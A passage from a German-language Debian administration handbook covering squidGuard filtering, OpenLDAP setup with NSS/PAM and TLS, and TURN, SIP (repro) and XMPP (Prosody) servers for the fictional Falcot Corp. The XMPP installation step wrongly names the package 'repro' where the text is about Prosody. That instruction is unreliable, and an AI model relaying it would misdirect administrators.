Das CGI-Programm /usr/lib/cgi-bin/squidGuard.cgi muss ebenfalls installiert werden, wobei die Datei /usr/share/doc/squidguard/examples/squidGuard.cgi.gz als Ausgangspunkt dient. In diesem Skript müssen die Variablen $proxy und $proxymaster angepasst werden (der Name des Proxy und die E-Mail-Adresse des Administrators). Die Variablen $image und $redirect sollten auf bestehende Abbilder zeigen, die die Ablehnung einer Anfrage darstellen.

Der Filter wird mit dem Befehl service squid3 reload aktiviert. Da das Paket squidguard jedoch nicht standardmäßig Filterungen durchführt, ist es Aufgabe des Administrators, die Richtlinien festzulegen. Dies kann durch Erstellen der Datei /etc/squid3/squidGuard.conf geschehen (evt. mit Hilfe von /etc/squidguard/squidGuard.conf.default als Vorlage).

Die aktive Datenbank muss nach jeder Änderung der Konfigurationsdatei squidGuard (oder einer der Domain- beziehungsweise URL-Listen, die sich auf sie beziehen) mit dem Befehl update-squidguard aktualisiert werden. Die Syntax der Konfigurationsdatei ist auf der folgenden Website dokumentiert:

→ http://www.squidguard.org/Doc/configure.html

ALTERNATIVE DansGuardian

Das Paket dansguardian stellt eine Alternative zu squidguard dar. Dieses Programm verwaltet nicht einfach eine schwarze Liste verbotener URLs, sondern kann mithilfe des PICS-Systems (Platform for Internet Content Selection) den Inhalt einer Seite dynamisch analysieren, um zu entscheiden, ob sie zulässig ist.

11.7. LDAP-Verzeichnis

OpenLDAP ist eine Umsetzung des LDAP-Protokolls; mit anderen Worten, es ist eine Spezialdatenbank zum Speichern von Verzeichnissen. Im gebräuchlichsten Anwendungsfall macht die Verwendung eines LDAP-Servers es möglich, die Verwaltung von Benutzerkonten und der dazugehörigen Berechtigungen zusammenzufassen. Außerdem lässt sich eine LDAP-Datenbank leicht kopieren, wodurch die Einrichtung mehrerer synchronisierter LDAP-Server möglich wird. Wenn das Netzwerk und die Benutzerzahl schnell anwachsen, kann so die Arbeitslast auf mehrere Server verteilt werden.

LDAP-Daten sind strukturiert und hierarchisch. Die Struktur wird durch „Schemata“ festgelegt, die die Art der Objekte, die die Datenbank speichern kann, zusammen mit einer Liste all ihrer möglichen Attribute beschreiben. Die Syntax, die zum Verweis auf ein bestimmtes Objekt der Datenbank verwendet wird, basiert auf diesen Strukturen, wodurch sich ihre Komplexität erklärt.

11.7.1. Installieren

Das Paket slapd enthält den OpenLDAP-Server. Das Paket ldap-utils umfasst Befehlszeilen-Werkzeuge für die Zusammenarbeit mit LDAP-Servern.

Die Installation von slapd stellt normalerweise sehr wenige Fragen und es ist unwahrscheinlich, dass die resultierende Datenbank Ihren Bedürfnissen entspricht. Glücklicherweise können Sie mit einem einfachen dpkg-reconfigure slapd die LDAP-Datenbank mit mehr Details neu konfigurieren:

- Konfigurierung des OpenLDAP-Servers auslassen? Natürlich nicht, wir wollen diesen Dienst konfigurieren.

- DNS-Domain-Name: „falcot.com“.

- Name der Organisation: „Falcot Corp.“.

- Ein Verwaltungspasswort muss eingegeben werden.

- Zu verwendendes Datenbank-Backend: „MDB“.

- Möchten Sie, dass die Datenbank entfernt wird, wenn slapd gelöscht wird? Nein. Es wäre nicht sinnvoll, den Verlust der Datenbank im Falle eines Versehens zu riskieren.

- Die alte Datenbank verschieben? Diese Frage wird nur gestellt, wenn die Konfigurierung vorgenommen wird, während eine Datenbank bereits existiert. Antworten Sie nur mit „ja“, wenn Sie tatsächlich wieder mit einer leeren Datenbank beginnen möchten, zum Beispiel, wenn Sie dpkg-reconfigure slapd unmittelbar nach der ersten Installierung ausführen.

- Das LDAPv2-Protokoll erlauben? Nein, das macht keinen Sinn. Alle Programme, die wir verwenden werden, verstehen das LDAPv3-Protokoll.

ZURÜCK ZU DEN GRUNDLAGEN Das LDIF-Format

Eine LDIF-Datei (LDAP Data Interchange Format) ist eine übertragbare Textdatei, die den Inhalt einer LDAP-Datenbank (oder einen Teil davon) beschreibt; sie kann dazu verwendet werden, die Daten auf einen beliebigen anderen LDAP-Server einzuspeisen.

Eine minimale Datenbank ist jetzt konfiguriert, wie die folgende Anfrage zeigt:

$ ldapsearch -x -b dc=falcot,dc=com
# extended LDIF
#
# LDAPv3
# base <dc=falcot,dc=com> with scope sub
# filter: (objectclass=*)
# requesting: ALL
#

# falcot.com
dn: dc=falcot,dc=com
objectClass: top
objectClass: dcObject
objectClass: organization
o: Falcot Corp
dc: falcot

# admin, falcot.com
dn: cn=admin,dc=falcot,dc=com
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: admin
description: LDAP administrator

# search result
search: 2
result: 0 Success

# numResponses: 3
# numEntries: 2

Die Anfrage ergibt zwei Objekte: die Organisation selbst und den verwaltenden Benutzer.

11.7.2. Das Verzeichnis ausfüllen

Da eine leere Datenbank nicht sehr nützlich ist, werden wir alle bestehenden Verzeichnisse in sie einspeisen; hierzu gehören die Benutzer-, Gruppen-, Dienst- und Host-Datenbanken.

Das Paket migrationtools stellt einen Satz von Skripten bereit, die dazu dienen, Daten aus den Standard-Unix-Verzeichnissen (/etc/passwd, /etc/group, /etc/services, /etc/hosts und so weiter) zu extrahieren, diese Daten zu konvertieren und sie in die LDAP-Datenbank einzuspeisen.

Nachdem das Paket installiert ist, muss die Datei /etc/migrationtools/migrate_common.ph editiert werden; die Optionen IGNORE_UID_BELOW and IGNORE_GID_BELOW müssen aktiviert werden (es genügt, das Kommentarzeichen zu entfernen) und die Variablen DEFAULT_MAIL_DOMAIN/DEFAULT_BASE müssen aktualisiert werden.

Der tatsächliche Übertragungsvorgang wird mit dem Befehl migrate_all_online.sh folgendermaßen ausgeführt:

# cd /usr/share/migrationtools
# LDAPADD="/usr/bin/ldapadd -c" ETC_ALIASES=/dev/null ./migrate_all_online.sh

Das Skript migrate_all_online.sh stellt einige Fragen zur LDAP-Datenbank, auf die die Daten übertragen werden sollen. Tabelle 11.1 fasst die Antworten zusammen, die im Fallbeispiel Falcot gegeben wurden.

Tabelle 11.1. Antworten auf die vom Skript migrate_all_online.sh gestellten Fragen

Frage

Antwort

X.500 Benennungskontext

dc=falcot,dc=com

Hostname des LDAP-Servers

localhost

Manager-DN

cn=admin,dc=falcot,dc=com

Verbindungslegitimation

das Verwaltungspasswort

Ein DUAConfigProfil anlegen

nein

Wir haben bewusst die Übertragung der Datei /etc/aliases außerachtgelassen, da das von Debian bereitgestellte Standardschema nicht die Strukturen enthält, die dieses Skript zur Beschreibung der E-Mail-Aliasse verwendet. Falls wir diese Daten in das Verzeichnis integrieren möchten, müssen wir die Datei /etc/ldap/schema/misc.schema zum Standardschema hinzufügen.

HILFSPROGRAMM Ein LDAP-Verzeichnis durchsuchen

Das Programm jxplorer (im gleichnamigen Paket) ist ein grafisches Hilfsprogramm, das es ermöglicht, eine LDAP-Datenbank zu durchsuchen und zu editieren. Es ist ein interessantes Programm, das einem Administrator einen guten Überblick über die hierarchische Struktur der LDAP-Daten gibt.

Beachten Sie auch die Verwendung der Option -c des Befehls ldapadd; diese Option bestimmt, dass der Verarbeitungsablauf im Falle eines Fehlers nicht abgebrochen wird. Die Verwendung dieser Option ist notwendig, da die Konvertierung der Datei /etc/services häufig einige Fehler hervorruft, die ohne Gefahr ignoriert werden können.

11.7.3. Konten mit LDAP verwalten

Jetzt, da die LDAP-Datenbank einige nützliche Informationen enthält, ist es an der Zeit diese Daten zu nutzen. Dieser Abschnitt richtet sein Augenmerk darauf, wie ein Linux-System so zu konfigurieren ist, dass die verschiedenen Systemverzeichnisse die LDAP-Datenbank benutzen.

11.7.3.1. NSS konfigurieren

Das NSS-System (Name Service Switch, siehe Seitenleiste WEITERE SCHRITTE NSS und Systemdatenbanken) ist ein modulares System, das Informationen für Systemverzeichnisse festlegen oder einholen kann. Um LDAP als Datenquelle für NSS verwenden zu können, muss das Paket libnss-ldap installiert werden. Bei seiner Installierung werden einige Fragen gestellt; die Antworten sind in Tabelle 11.2 zusammengefasst.

Tabelle 11.2. Das Paket libnss-ldap konfigurieren

Frage

Antwort

Uniform Resource Identifier des LDAP-Servers

ldap://ldap.falcot.com

Kennzeichnender Name der Suchbasis

dc=falcot,dc=com

Zu verwendende LDAP-Version

3

Benötigt die LDAP-Datenbank eine Anmeldung?

nein

Spezielle LDAP-Privilegien für den Benutzer Root

ja

Erlauben Sie nur dem Eigentümer Lese/Schreibzugriff auf die Konfigurationsdatei

nein

LDAP-Administratorkonto

cn=admin,dc=falcot,dc=com

Passwort des LDAP-Administratorkontos

das Verwaltungspasswort

Die Datei /etc/nsswitch.conf muss nun angepasst werden, um NSS so zu konfigurieren, dass es das neu installierte ldap-Modul benutzt.

Beispiel 11.26. Die Datei /etc/nsswitch.conf

# /etc/nsswitch.conf
#
# Example configuration of GNU Name Service Switch functionality.
# If you have the `glibc-doc' and `info' packages installed, try:
# `info libc "Name Service Switch"' for information about this file.

passwd: ldap compat
group: ldap compat
shadow: ldap compat

hosts: files dns ldap
networks: ldap files

protocols: ldap db files
services: ldap db files
ethers: ldap db files
rpc: ldap db files

netgroup: ldap files

Das ldap-Modul wird normalerweise vor den anderen aufgenommen und wird daher zuerst abgefragt. Eine beachtenswerte Ausnahme stellt der hosts-Dienst dar, da zunächst der DNS befragt werden muss (um ldap.falcot.com aufzulösen), bevor mit dem LDAP-Server Verbindung aufgenommen werden kann. Ohne diese Ausnahme würde eine Anfrage nach einem Hostnamen an den LDAP-Server gerichtet; dies würde eine Namensauflösung für den LDAP-Server auslösen, und so weiter in einer unendlichen Schleife.

Falls der LDAP-Server als maßgeblich angesehen werden soll (und die lokalen vom Modul files benutzten Dateien ignoriert werden sollen), können die Dienste mit der folgenden Syntax konfiguriert werden:

dienst: ldap [NOTFOUND=return] files.

Falls der gesuchte Eintrag in der LDAP-Datenbank nicht vorhanden ist, wird die Anfrage die Antwort „nicht vorhanden“ ergeben, selbst wenn er in einer der lokalen Dateien vorhanden ist; diese lokalen Dateien werden nur benutzt, wenn der LDAP-Service abgeschaltet ist.

11.7.3.2. PAM konfigurieren

Dieser Abschnitt beschreibt die Konfiguration von PAM (siehe Seitenleiste HINTER DEN KULISSEN /etc/environment und /etc/default/locale), die es Anwendungen ermöglicht, die gegenüber der LDAP-Datenbank erforderlichen Authentifizierungen vorzunehmen.

VORSICHT Fehlerhafte Authentifizierung

Die Änderung der von verschiedenen Programmen verwendeten standardmäßigen PAM-Konfiguration ist ein heikler Vorgang. Ein Fehler kann zu einer fehlerhaften Authentifizierung führen, die das Anmelden verhindern kann. Eine gute Vorsichtsmaßnahme besteht daher darin, eine Root-Konsole offen zu halten. So können mit geringem Aufwand eventuell auftretende Konfigurierungsfehler behoben und Dienste neu gestartet werden.

Das LDAP-Modul für PAM wird von dem Paket libpam-ldap bereitgestellt. Beim Installieren dieses Pakets werden einige Fragen gestellt, die denen bei libnss-ldap ähnlich sind; einige Konfigurationsparameter (wie zum Beispiel die URI des LDAP-Servers) werden sogar mit dem Paket libnss-ldap gemeinsam benutzt. Die Antworten sind in Tabelle 11.3 zusammengefasst.

Tabelle 11.3. Konfigurierung von libpam-ldap

Frage

Antwort

Dem LDAP-Administrationskonto erlauben, sich wie lokales Root zu verhalten?

Ja. Dies ermöglicht es, den normalen passwd-Befehl zur Änderung von Passwörtern zu verwenden, die in der LDAP-Datenbank gespeichert sind.

Erfordert die LDAP-Datenbank eine Anmeldung?

nein

LDAP-Administratorkonto

cn=admin,dc=falcot,dc=com

Passwort des LDAP-Administratorkontos

das Verwaltungspasswort der LDAP-Datenbank

Lokaler Verschlüsselungsalgorithmus für Passwörter

crypt

Durch das Installieren von libpam-ldap wird die standardmäßige PAM-Konfiguration, die in den Dateien /etc/pam.d/common-auth, /etc/pam.d/common-password und /etc/pam.d/common-account festgelegt ist, automatisch angepasst. Dieser Vorgang verwendet das spezielle Hilfsprogramm pam-auth-update (vom Paket libpam-runtime bereitgestellt). Dieses Programm kann auch vom Administrator eingesetzt werden, falls er PAM-Module aktivieren oder deaktivieren möchte.

11.7.3.3. LDAP-Datenaustausch absichern

Standardmäßig überträgt das LDAP-Protokoll im Klartext über das Netzwerk; dies gilt auch für die (verschlüsselten) Passwörter. Da die verschlüsselten Passwörter aus dem Netzwerk entnommen werden können, können sie anfällig für Wörterbuchangriffe sein. Dies kann durch den Einsatz einer zusätzlichen Verschlüsselungsschicht verhindert werden; die Aktivierung dieser Schicht ist das Thema dieses Abschnitts.

11.7.3.3.1. Den Server konfigurieren

Der erste Schritt besteht darin, für den LDAP-Server ein Schlüsselpaar (bestehend aus einem öffentlichen und einem privaten Schlüssel) zu erzeugen. Die Administratoren bei Falcot erzeugen diesen wiederum unter Verwendung von easy-rsa (siehe Abschnitt 10.2.1.1, „Public-Key-Infrastrultur: easy-rsa“). Beim Aufruf von ./build-key-server ldap.falcot.com werden einige banale Fragen gestellt (Ort, Name der Organisation und so weiter). Als Antwort auf die Frage nach dem "common name" muss der vollständig qualifizierte Hostname des LDAP-Servers angegeben werden; in unserem Fall ldap.falcot.com.

Dieser Befehl erstellt ein Zertifikat in der Datei keys/ldap.falcot.com.crt; der dazugehörige private Schlüssel wird in der Datei keys/ldap.falcot.com.key abgespeichert.

Jetzt müssen diese Schlüssel an ihrem Standard-Platz installiert werden, und wir müssen dafür Sorge tragen, dass die private Datei vom LDAP-Sever gelesen werden kann, der unter der Userkennung openldap läuft:

# adduser openldap ssl-cert
Adding user `openldap' to group `ssl-cert' ...
Adding user openldap to group ssl-cert
Done.
# mv keys/ldap.falcot.com.key /etc/ssl/private/ldap.falcot.com.key
# chown root:ssl-cert /etc/ssl/private/ldap.falcot.com.key
# chmod 0640 /etc/ssl/private/ldap.falcot.com.key
# mv newcert.pem /etc/ssl/certs/ldap.falcot.com.pem

Der Hintergrundprozess slapd muss ebenfalls dazu gebracht werden, diese Schlüssel für die Verschlüsselung zu verwenden. Die Konfiguration des LDAP-Servers wird dynamisch verwaltet: die Konfiguration kann mit normalen LDAP-Operationen innerhalb der Objekt-Hierarchie cn=config aktualisiert werden und der Server aktualisiert /etc/ldap/slapd.d in Echtzeit um die Konfiguration durchgängig zu halten. Ldapmodify ist also das geeignete Werkzeug um die Konfiguration zu aktualisieren:

Beispiel 11.27. slapd für eine Verschlüsselung konfigurieren

# cat >ssl.ldif <<END
dn: cn=config
changetype: modify
add: olcTLSCertificateFile
olcTLSCertificateFile: /etc/ssl/certs/ldap.falcot.com.pem
-
add: olcTLSCertificateKeyFile
olcTLSCertificateKeyFile: /etc/ssl/private/ldap.falcot.com.key
-
END
# ldapmodify -Y EXTERNAL -H ldapi:/// -f ssl.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
modifying entry "cn=config"

WERKZEUG ldapvi um ein LDAP-Verzeichnis zu editieren

Mit ldapvi kann man eine LDIV-Ausgabe von beliebigen Teilen eines LDAP-Verzeichnisses erzeugen, darin mit einem Texteditor einige Änderungen vornehmen und das Werkzeug dann die entsprechenden LDAP-Operationen durchführen lassen.

Es ist deshalb ein komfortabler Weg, die Konfiguration des LDAP-Servers einfach durch Ändern der Hierarchie cn=config auf dem Laufenden zu halten.

# ldapvi -Y EXTERNAL -h ldapi:/// -b cn=config

Der letzte Schritt zur Aktivierung der Verschlüsselung besteht darin, die Variable SLAPD_SERVICES in der Datei /etc/default/slapd zu ändern. Wir gehen dabei auf Nummer Sicher und deaktivieren nicht abgesichertes LDAP vollständig.

Beispiel 11.28. Die Datei /etc/default/slapd

# Default location of the slapd.conf file or slapd.d cn=config directory. If
# empty, use the compiled-in default (/etc/ldap/slapd.d with a fallback to
# /etc/ldap/slapd.conf).
SLAPD_CONF=

# System account to run the slapd server under. If empty the server
# will run as root.
SLAPD_USER="openldap"

# System group to run the slapd server under. If empty the server will
# run in the primary group of its user.
SLAPD_GROUP="openldap"

# Path to the pid file of the slapd server. If not set the init.d script
# will try to figure it out from $SLAPD_CONF (/etc/ldap/slapd.conf by
# default)
SLAPD_PIDFILE=

# slapd normally serves ldap only on all TCP-ports 389. slapd can also
# service requests on TCP-port 636 (ldaps) and requests via unix
# sockets.
# Example usage:
# SLAPD_SERVICES="ldap://127.0.0.1:389/ ldaps:/// ldapi:///"
SLAPD_SERVICES="ldaps:/// ldapi:///"

# If SLAPD_NO_START is set, the init script will not start or restart
# slapd (but stop will still work).  Uncomment this if you are
# starting slapd via some other means or if you don't want slapd normally
# started at boot.
#SLAPD_NO_START=1

# If SLAPD_SENTINEL_FILE is set to path to a file and that file exists,
# the init script will not start or restart slapd (but stop will still
# work).  Use this for temporarily disabling startup of slapd (when doing
# maintenance, for example, or through a configuration management system)
# when you don't want to edit a configuration file.
SLAPD_SENTINEL_FILE=/etc/ldap/noslapd

# For Kerberos authentication (via SASL), slapd by default uses the system
# keytab file (/etc/krb5.keytab).  To use a different keytab file,
# uncomment this line and change the path.
#export KRB5_KTNAME=/etc/krb5.keytab

# Additional options to pass to slapd
SLAPD_OPTIONS=""

11.7.3.3.2. Den Client konfigurieren

Auf der Client-Seite muss die Konfiguration der Module libpam-ldap und libnss-ldap angepasst werden um einen ldaps:// URI zu nutzen zu können.

LDAP-Clients müssen auch in der Lage sein, den Server zu authentifizieren. In einer X.500 Public-Key-Infrastruktur werden öffentliche Zertifikate mit dem Schlüssel einer Zertifikatsausgabestelle (CA, certificate authority) signiert. Mit easy-rsa haben die Administratoren von Falcot ihre eigene Zertifikatsstelle erzeugt und jetzt müssen sie das System so konfigurieren, dass es den Unterschriften der Zertifikatsstelle von Falcot vertraut. Das tut man, indem man das CA-Zertifikat in /usr/local/share/ca-certificates einträgt und dann update-ca-certificates startet.

# cp keys/ca.crt /usr/local/share/ca-certificates/falcot.crt
# update-ca-certificates
Updating certificates in /etc/ssl/certs... 1 added, 0 removed; done.
Running hooks in /etc/ca-certificates/update.d....
Adding debian:falcot.pem
done.
done.

Nicht zuletzt kann der voreingestellte URI und die Basis-DN, die von diversen Kommandozeilen-Tools verwendet werden, können in /etc/ldap/ldap.conf geändert werden. Das erspart einiges an Tipparbeit.

Beispiel 11.29. Die Datei /etc/ldap/ldap.conf

#
# LDAP Defaults
#

# See ldap.conf(5) for details
# This file should be world readable but not world writable.

BASE   dc=falcot,dc=com
URI    ldaps://ldap.falcot.com

#SIZELIMIT      12
#TIMELIMIT      15
#DEREF          never

# TLS certificates (needed for GnuTLS)
TLS_CACERT      /etc/ssl/certs/ca-certificates.crt

11.8. Echtzeit-Kommunikationsdienste

Real-Time Communication (RTC) Dienste beinhalten Sprache, Video/Webcam, Instant Messaging (IM) und Desktop Sharing. Dieses Kapitel gibt eine kurze Einführung in drei der für den Betrieb von RTC erforderlichen Dienste, darunter ein TURN-Server, SIP-Server und XMPP-Server. Ausführliche Informationen zur Planung, Installation und Verwaltung dieser Dienste finden Sie im Real-Time Communications Quick Start Guide, der Beispiele speziell für Debian enthält.

→ http://rtcquickstart.org

Sowohl SIP als auch XMPP können die gleiche Funktionalität bieten. SIP ist etwas bekannter für Sprache und Video, während XMPP traditionell als IM-Protokoll angesehen wird. Allerdings können beide für jeden dieser Zwecke verwendet werden. Um die Konnektivitätsmöglichkeiten zu maximieren, wird empfohlen, beide parallel zu betreiben.

Diese Dienste basieren auf X.509-Zertifikaten, sowohl für die Authentifizierung als auch für Vertraulichkeit. Siehe Abschnitt 10.2.1.1, „Public-Key-Infrastrultur: easy-rsa“ für Details zur Erstellung. Alternativ dazu bietet die Real-Time Communications Quick Start Guide auch nützliche Erklärungen:

→ http://rtcquickstart.org/guide/multi/tls.html

11.8.1. DNS-Einstellungen für RTC-Dienste

RTC-Dienste erfordern DNS SRV- und NAPTR-Einträge. Eine Beispielkonfiguration, die in der Zonendatei für falcot.com abgelegt werden kann:

; the server where everything will run
server1            IN     A      198.51.100.19
server1            IN     AAAA   2001:DB8:1000:2000::19

; IPv4 only for TURN for now, some clients are buggy with IPv6
turn-server        IN     A      198.51.100.19

; IPv4 and IPv6 addresses for SIP
sip-proxy          IN     A      198.51.100.19
sip-proxy          IN     AAAA   2001:DB8:1000:2000::19

; IPv4 and IPv6 addresses for XMPP
xmpp-gw            IN     A      198.51.100.19
xmpp-gw            IN     AAAA   2001:DB8:1000:2000::19

; DNS SRV and NAPTR for STUN / TURN
_stun._udp  IN SRV    0 1 3467 turn-server.falcot.com.
_turn._udp  IN SRV    0 1 3467 turn-server.falcot.com.
@           IN NAPTR  10 0 "s" "RELAY:turn.udp" "" _turn._udp.falcot.com.

; DNS SRV and NAPTR records for SIP
_sips._tcp  IN SRV    0 1 5061 sip-proxy.falcot.com.
@           IN NAPTR  10 0 "s" "SIPS+D2T" "" _sips._tcp.falcot.com.

; DNS SRV records for XMPP Server and Client modes:
_xmpp-client._tcp  IN     SRV    5 0 5222 xmpp-gw.falcot.com.
_xmpp-server._tcp  IN     SRV    5 0 5269 xmpp-gw.falcot.com.

11.8.2. TURN-Server

TURN ist ein Dienst, der Clients hinter NAT-Routern und Firewalls hilft, die effizienteste Art der Kommunikation mit anderen Clients zu finden und die Medienströme weiterzuleiten, wenn kein direkter Medienpfad gefunden werden kann. Es wird dringend empfohlen, den TURN-Server zu installieren, bevor die anderen RTC-Dienste den Endbenutzern angeboten werden.

TURN und das zugehörige ICE-Protokoll sind offene Standards. Um von diesen Protokollen zu profitieren, die Konnektivität zu maximieren und die Frustration der Benutzer zu minimieren, ist es wichtig sicherzustellen, dass jede Client-Software ICE und TURN unterstützt.

Damit der ICE-Algorithmus effektiv funktioniert, muss der Server zwei öffentliche IPv4-Adressen haben.

11.8.2.1. Den TURN-Server installieren

Das Paket resiprocate-turn-server Paket installieren.

Bearbeiten Sie die Konfigurationsdatei /etc/reTurn/reTurnServer.config. Das Wichtigste ist, die IP-Adressen des Servers einzugeben.

# your IP addresses go here:
TurnAddress = 198.51.100.19
TurnV6Address = 2001:DB8:1000:2000::19
AltStunAddress = 198.51.100.20
# your domain goes here, it must match the value used
# to hash your passwords if they are already hashed
# using the HA1 algorithm:
AuthenticationRealm = myrealm

UserDatabaseFile = /etc/reTurn/users.txt
UserDatabaseHashedPasswords = true

Dienst neu starten.

11.8.2.2. TURN-Benutzer verwalten

Verwenden Sie das Dienstprogramm htdigest, um die Benutzerliste des TURN-Servers zu verwalten.

# htdigest /etc/reTurn/users.txt myrealm joe

Verwenden Sie das HUP-Signal, damit der Server die Datei /etc/reTurn/users.txt nach dem Ändern neu lädt oder aktivieren Sie die automatische Reload-Funktion in /etc/reTurn/reTurnServer.config.

11.8.3. SIP Proxy-Server

Ein SIP-Proxy-Server verwaltet die ein- und ausgehenden SIP-Verbindungen zwischen anderen Organisationen, SIP-Trunking-Providern, SIP-Telefonanlagen wie Asterisk, SIP-Telefonen, SIP-basierten Softphones und WebRTC-Anwendungen.

Es wird dringend empfohlen, den SIP-Proxy zu installieren und zu konfigurieren, bevor Sie eine SIP-Telefonanlage einrichten. Der SIP-Proxy normalisiert einen Großteil des Datenverkehrs, der die Telefonanlage erreicht und sorgt für mehr Konnektivität und Ausfallsicherheit.

11.8.3.1. SIP-Proxy installieren

Installieren Sie das Paket repro. Die Verwendung des Pakets von jessie-backports wird dringend empfohlen, da es die neuesten Verbesserungen zur Maximierung der Konnektivität und Ausfallsicherheit enthält.

Bearbeiten Sie die Konfigurationsdatei /etc/repro/repro/repro.config. Das Wichtigste ist, die IP-Adressen des Servers einzugeben. Das folgende Beispiel zeigt, wie man sowohl normale SIP- als auch WebSockets/WebRTCs mit TLS, IPv4 und IPv6 einrichtet:

# Transport1 will be for SIP over TLS connections
# We use port 5061 here but if you have clients connecting from
# locations with firewalls you could change this to listen on port 443
Transport1Interface = 198.51.100.19:5061
Transport1Type = TLS
Transport1TlsDomain = falcot.com
Transport1TlsClientVerification = Optional
Transport1RecordRouteUri = sip:falcot.com;transport=TLS
Transport1TlsPrivateKey = /etc/ssl/private/falcot.com-key.pem
Transport1TlsCertificate = /etc/ssl/public/falcot.com.pem

# Transport2 is the IPv6 version of Transport1
Transport2Interface = 2001:DB8:1000:2000::19:5061
Transport2Type = TLS
Transport2TlsDomain = falcot.com
Transport2TlsClientVerification = Optional
Transport2RecordRouteUri = sip:falcot.com;transport=TLS
Transport2TlsPrivateKey = /etc/ssl/private/falcot.com-key.pem
Transport2TlsCertificate = /etc/ssl/public/falcot.com.pem

# Transport3 will be for SIP over WebSocket (WebRTC) connections
# We use port 8443 here but you could use 443 instead
Transport3Interface = 198.51.100.19:8443
Transport3Type = WSS
Transport3TlsDomain = falcot.com
# This would require the browser to send a certificate, but browsers
# don't currently appear to be able to, so leave it as None:
Transport3TlsClientVerification = None
Transport3RecordRouteUri = sip:falcot.com;transport=WSS
Transport3TlsPrivateKey = /etc/ssl/private/falcot.com-key.pem
Transport3TlsCertificate = /etc/ssl/public/falcot.com.pem

# Transport4 is the IPv6 version of Transport3
Transport4Interface = 2001:DB8:1000:2000::19:8443
Transport4Type = WSS
Transport4TlsDomain = falcot.com
Transport4TlsClientVerification = None
Transport4RecordRouteUri = sip:falcot.com;transport=WSS
Transport4TlsPrivateKey = /etc/ssl/private/falcot.com-key.pem
Transport4TlsCertificate = /etc/ssl/public/falcot.com.pem

# Transport5: this could be for TCP connections to an Asterisk server
# in your internal network.  Don't allow port 5060 through the external
# firewall.
Transport5Interface = 198.51.100.19:5060
Transport5Type = TCP
Transport5RecordRouteUri = sip:198.51.100.19:5060;transport=TCP

HttpBindAddress = 198.51.100.19, 2001:DB8:1000:2000::19
HttpAdminUserFile = /etc/repro/users.txt

RecordRouteUri = sip:falcot.com;transport=tls
ForceRecordRouting = true
EnumSuffixes = e164.arpa, sip5060.net, e164.org
DisableOutbound = false
EnableFlowTokens = true
EnableCertificateAuthenticator = True

Verwenden Sie das Dienstprogramm htdigest, um das Admin-Passwort für das Web-Interface zu verwalten. Der Benutzername muss admin sein und der Realmname muss mit dem in repro.config angegebenen Wert übereinstimmen.

# htdigest /etc/repro/users.txt repro admin

Starten Sie den Dienst neu, um die neue Konfiguration zu verwenden.

11.8.3.2. Den SIP-Proxy verwalten

Gehen Sie zum Webinterface unter http://sip-proxy.falcot.com:5080, um die Konfiguration durch Hinzufügen von Domänen, lokalen Benutzern und statischen Routen abzuschließen.

Der erste Schritt ist das Hinzufügen der lokalen Domäne. Der Vorgang muss nach dem Hinzufügen oder Entfernen von Domänen aus der Liste neu gestartet werden.

Der Proxy weiß, wie man Anrufe zwischen lokalen Benutzern und vollen SIP-Adressen weiterleitet, die Routing-Konfiguration ist nur notwendig, um das Standardverhalten zu überschreiben, z.B. um Telefonnummern zu erkennen, ein Präfix hinzuzufügen und sie an einen SIP-Provider weiterzuleiten.

11.8.4. XMPP-Server

Ein XMPP-Server verwaltet die Konnektivität zwischen lokalen XMPP-Benutzern und XMPP-Benutzern in anderen Domänen im öffentlichen Internet.

WÖRTERVERZEICHNIS XMPP oder Jabber?

XMPP wird manchmal als Jabber bezeichnet. Tatsächlich ist Jabber ein Warenzeichen und XMPP ist der offizielle Name des Standards.

Prosody ist ein beliebter XMPP-Server, der zuverlässig auf Debian-Servern läuft.

11.8.4.1. Installieren des XMPP-Servers

Installieren Sie das Paket repro. Die Verwendung des Pakets von jessie-backports wird dringend empfohlen, da es die neuesten Verbesserungen zur Maximierung der Konnektivität und Ausfallsicherheit enthält.

Überprüfen Sie die Konfigurationsdatei /etc/prosody/prosody.cfg.lua. Das Wichtigste ist das Einfügen von JIDs der Benutzer, die den Server verwalten dürfen.

admins = { "joe@falcot.com" }

Außerdem wird für jede Domäne eine eigene Konfigurationsdatei benötigt. Kopieren Sie das Beispiel aus /etc/prosody/conf.avail/example.com.cfg.lua und verwenden Sie es als Ausgangspunkt. Hier ist falcot.com.cfg.lua:

VirtualHost "falcot.com"
enabled = true
ssl = {
key = "/etc/ssl/private/falcot.com-key.pem";
certificate = "/etc/ssl/public/falcot.com.pem";
}

Um die Domain zu aktivieren, muss ein Symlink von /etc/prosody/conf.d/ vorhanden sein. Erstellen Sie es so:

# ln -s /etc/prosody/conf.avail/falcot.com.cfg.lua /etc/prosody/conf.d/

Starten Sie den Dienst neu, um die neue Konfiguration zu verwenden.

11.8.4.2. Verwalten des XMPP-Servers

Einige Verwaltungsvorgänge können mit dem Kommandozeilenprogramm prosodyctl durchgeführt werden. Zum Beispiel, um das unter /etc/prosody/prosody.cfg.lua angegebene Administratorkonto hinzuzufügen:

# prosodyctl adduser joe@falcot.com

Finden Sie in der Prosody online documentation weitere Details zur Anpassung der Konfiguration.

11.8.5. Laufende Dienste auf Port 443

Einige Administratoren bevorzugen alle ihre RTC-Dienste auf Port 443 laufen zu lassen. Dies hilft Benutzern, sich von entfernten Orten wie Hotels und Flughäfen aus zu verbinden, wo andere Ports blockiert werden können oder der Internetverkehr über HTTP-Proxy-Server geleitet wird.

Um diese Strategie zu nutzen, benötigt jeder Dienst (SIP, XMPP und TURN) eine andere IP-Adresse. Alle Dienste können sich weiterhin auf demselben Host befinden, da Linux mehrere IP-Adressen auf einem einzigen Host unterstützt. Die Portnummer 443 muss in den Konfigurationsdateien für jeden Prozess und auch in den DNS-SRV-Einträgen angegeben werden.

11.8.6. WebRTC hinzufügen

Falcot möchte Kunden direkt von der Website aus telefonieren lassen. Die Falcot-Administratoren wollen WebRTC auch als Teil ihres Disaster-Recovery-Plans nutzen, so dass sich die Mitarbeiter zu Hause über Webbrowser in die Telefonanlage des Unternehmens einloggen und im Notfall normal arbeiten können.

IN DER PRAXIS WebRTC ausprobieren

Wenn Sie WebRTC noch nicht ausprobiert haben, gibt es verschiedene Webseiten, die eine Online-Demonstration sowie Testmöglichkeiten bieten.

→ http://www.sip5060.net/test-calls

WebRTC ist eine sich schnell entwickelnde Technologie und es ist wichtig, Pakete aus der jessie-backports oder Testing Distributionen zu verwenden.

